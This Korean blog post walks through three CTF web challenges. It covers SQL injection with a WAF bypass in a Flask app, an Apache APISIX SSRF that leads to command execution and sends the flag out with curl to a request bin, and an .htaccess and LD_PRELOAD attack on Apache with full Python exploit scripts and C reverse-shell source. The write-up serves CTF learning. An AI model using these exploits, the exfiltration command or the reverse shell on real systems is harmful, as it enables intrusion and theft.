대회가 끝나고 나서 바로 놀러가서 이제야 라업을 올린다.
Hack into skynet
#!/usr/bin/env python3
import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet
app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()
def skynet_detect():
req = {
'method': flask.request.method,
'path': flask.request.full_path,
'host': flask.request.headers.get('host'),
'content_type': flask.request.headers.get('content-type'),
'useragent': flask.request.headers.get('user-agent'),
'referer': flask.request.headers.get('referer'),
'cookie': flask.request.headers.get('cookie'),
'body': str(flask.request.get_data()),
}
_, result = skynet.classify(req)
return result and result['attack']
@app.route('/static/<path:path>')
def static_files(path):
return flask.send_from_directory('static', path)
@app.route('/', methods=['GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403)
if not query_login_state():
response = flask.make_response('No login, redirecting', 302)
response.location = flask.escape('/login')
return response
if flask.request.method == 'GET':
return flask.send_from_directory('', 'index.html')
elif flask.request.method == 'POST':
kt = query_kill_time()
if kt:
result = kt
else:
result = ''
return flask.render_template('index.html', result=result)
else:
return flask.abort(400)
@app.route('/login', methods=['GET', 'POST'])
def do_login():
if skynet_detect():
return flask.abort(403)
if flask.request.method == 'GET':
return flask.send_from_directory('static', 'login.html')
elif flask.request.method == 'POST':
if not query_login_attempt():
return flask.send_from_directory('static', 'login.html')
else:
session = create_session()
response = flask.make_response('Login success', 302)
response.set_cookie('SessionId', session)
response.location = flask.escape('/')
return response
else:
return flask.abort(400)
def query_login_state():
sid = flask.request.cookies.get('SessionId', '')
if not sid:
return False
now = datetime.datetime.now()
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute("SELECT sessionid"
" FROM login_session"
" WHERE sessionid = %s"
" AND valid_since <= %s"
" AND valid_until >= %s"
"", (sid, now, now))
data = [r for r in cursor.fetchall()]
return bool(data)
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username
def create_session():
valid_since = datetime.datetime.now()
valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()
sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
" VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
return sessionid
def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None
sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None
return '{}: {}'.format(*nb[0])
def sql_exec(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
for row in cursor.fetchall():
data.append([col for col in row])
cursor.close()
except Exception as e:
print(e)
return data
def sql_exec_update(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
conn.commit()
except Exception as e:
print(e)
return data
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
코드를 주는데 query_kill_time()
함수에서 sqli가 터진다. 해당 기능을 쓰려면 우선 로그인을 해야하는데
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username
로그인 로직이 좀 이상하다.
sql query 조회 결과가 안나오면 name에는 ''가 들어가게 되므로 아래와 같이 전달해준다면 로그인할 수 있다.
username=&password=1
이후 sqli는 waf를 우회해야하는데 content-type을 multipart/form-data로 전달하면 waf를 우회할 수 있기 때문에 union 써서 플래그 뽑아주면 된다.
FLAG : rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}
api6
apache apisix 최신버전을 주고 플래그를 얻으라고 한다.
계속 코드를 읽어보고 있는데 apisix에 임의의 path로 request를 보내는 기능이 있었다.
POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:51929
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 210
Connection: close
{
"timeout": 500,
"pipeline": [
{
"method": "GET",
"path": "/apisix/admin/services?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body": "test"
}
]
}
그래서 이렇게 보내면 /apisix/admin/services
로 요청을 보낼 수 있는데 nginx.conf로 인해 외부에서 접근하는게 막혀있었다.
proxy_set_header X-Real-IP $remote_addr;
nginx.conf에 위의 라인이 있었는데
혹시나 하는 마음에 header에 X-Real-IP를 추가해서 보내주니 서버가 정상적으로 요청을 받아주는 것을 확인할 수 있었다.https://github.com/apache/apisix/blob/baf843403461883c1334e63d15a6bb3622c31940/t/node/filter_func.t#L38
이제 localhost에서 접근할 수 있기 때문에 filter_func 파라미터로 lua script를 넘겨줄 수 있고 서버는 우리의 script를 실행해줄 것이다.
아래와 같이 요청을 보내면 flag를 얻을 수 있다.
POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:51929
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 666
Connection: close
{
"timeout": 1500,
"headers":{
"X-Real-IP":"127.0.0.1",
"Content-Type": "application/json"
},
"pipeline": [
{
"method": "PUT",
"path": "/apisix/admin/routes/2?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n \"methods\": [\"GET\"],\r\n \"host\": \"example.com\",\r\n \"uri\": \"\/anything\/*\",\r\n \"upstream\": {\r\n \"type\": \"roundrobin\",\r\n \"nodes\": {\r\n \"httpbin.org:80\": 1\r\n }\r\n }\r\n,\r\n\"filter_func\": \"function(vars) os.execute(\\\"\/usr\/bin\/curl -d @\/flag requestbin \\\") end\"}"
}
]
}
FLAG : rwctf{1998e51bd0dd6ba945d0676d45d32852}
rwdn
const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check');
const app = express();
const PORT = 8000;
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.use(fileUpload({
useTempFiles : true,
tempFileDir : '/tmp/',
createParentPath : true
}));
app.use('/upload',check());
app.get('/source', function(req, res) {
if (req.query.checkin){
res.sendfile('/src/check.js');
}
res.sendfile('/src/server.js');
});
app.get('/', function(req, res) {
var formid = "form-" + uuidv4();
res.render('index', {formid : formid} );
});
app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});
app.listen(PORT, function() {
console.log('Express server listening on port ', PORT);
});
코드를 준다. cdn 서버에 파일을 업로드할 수 있는데 올릴 수 있는 확장자가 정해져있다. 일단 확장자를 우회하기 위해 여러 시도를 해보았는데 아래와 같이 보냈을 때 임의의 확장자를 가진 파일을 업로드할 수 있었다.
POST /upload?formid=a HTTP/1.1
Host: 47.243.75.225:31337
Content-Length: 786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.243.75.225:31337
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycqKfhIsQogqdgFmo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.243.75.225:31337/
Accept-Encoding: gzip, deflate
Accept-Language: ko,ko-KR;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close
------WebKitFormBoundarycqKfhIsQogqdgFmo
Content-Disposition: form-data; name="a"; filename=".htaccess"
Content-Type: text/plain
file_data
------WebKitFormBoundarycqKfhIsQogqdgFmo
Content-Disposition: form-data; name="asdf"; filename="zzz.txt"
Content-Type: text/plain
Hello, world.
------WebKitFormBoundarycqKfhIsQogqdgFmo--
근데 php파일을 올려도 php코드가 실행되지 않았기 때문에 php를 이용한 challenge는 아니라 생각했고 apache에서 사용가능한 모듈들을 위주로 살펴보았다.
mod_access_compat.c
mod_alias.c
mod_auth_basic.c
mod_authn_core.c
mod_authn_file.c
mod_authz_core.c
mod_authz_host.c
mod_authz_user.c
mod_autoindex.c
mod_deflate.c
mod_dir.c
mod_env.c
mod_ext_filter.c
mod_filter.c
mod_log_config.c
mod_logio.c
mod_mime.c
mod_negotiation.c
mod_reqtimeout.c
mod_setenvif.c
mod_so.c
mod_status.c
mod_unixd.c
mod_version.c
mod_watchdog.c
cgi와 관련된 모듈이 없었기 때문에 reference를 찾아보던 중 흥미로운 모듈들을 찾을 수 있었다.mod_env.c
와 mod_ext_filter.c
였다. mod_env는 apache 자체 환경변수를 설정할 수 있고 mod_ext_filter는 외부 프로그램을 이용하여 출력에 필터를 적용할 수 있었다.
mod_ext_filter.c 내부에서 child process를 생성할 때 apache의 env를 넘겨주기 때문에 LD_PRELOAD를 임의의 모듈로 set하고 mod_ext_filter를 돌리면 특정 함수를 overwrite하여 rce가 가능할 것이다.
우선 apache.conf에서 mod_ext_filter를 쓰고 있는 것이 맞는지 확인하기 위해서 .htaccess를 이용하여 내부 파일을 leak해보았다.
#!/usr/bin/env python3
import requests
# r = requests.post('http://localhost:31337/upload?formid=a',files={'a':('.htaccess','file_data'),'asdf':('zzz.txt','LMAO')})
data = """
redirect permanent "/%{BASE64:%{FILE:/etc/apache2/apache.conf}}"
"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
url = r.text
url = url[url.index('http'):-5]
print(1337)
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
fname = "lmao.cgi"
r = requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
r = requests.get(url+fname,allow_redirects=False)
print(r.text,url+fname,r.headers)
그리고 아래의 내용을 확인할 수 있었다.
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip
우리의 생각이 맞는 것 같기 때문에 그대로 exploit해주면 된다.
#!/usr/bin/env python3
import requests
data = open("./hack.so",'rb').read()
fname = "hack.so"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
path = url[27:]
try:
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
pass
r = requests.get(url+fname)
print(url+fname)
print(path)
data = f"""<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
SetOutputFilter gzip
SetEnv LD_PRELOAD /var/www/html/uploads/{path}/hack.so
</Files>"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
pass
r = requests.get(url+fname)
print(r.text,url+fname)
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
void payload() {
struct sockaddr_in serveraddr;
int server_sockfd;
int client_len;
char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0};
server_sockfd = socket(AF_INET, SOCK_STREAM, 6);
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr("ip here");
serveraddr.sin_port = htons(atoi("port here"));
client_len = sizeof(serveraddr);
connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len);
dup2(server_sockfd, 0);
dup2(server_sockfd, 1);
dup2(server_sockfd, 2);
execve("/bin/sh",cmdBuf,0);
}
void _init() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
위의 c파일을 공유 라이브러리 파일로 컴파일 한 다음 exploit code를 실행하면 리버스쉘을 얻을 수 있다.
FLAG : rwctf{cd81450983c06bcb4438dfb8de45ec04}
'ctf writeup' 카테고리의 다른 글
LINE CTF 2022 web writeup (0) | 2022.03.27 |
---|---|
Codegate 2022 Preliminary writeup (0) | 2022.02.27 |
m0leconCTF 2021 final web writeup (0) | 2021.12.04 |
HK CERT CTF 2021 writeup - WEB (0) | 2021.11.14 |
CyberGuardians CTF all writeup (0) | 2021.11.10 |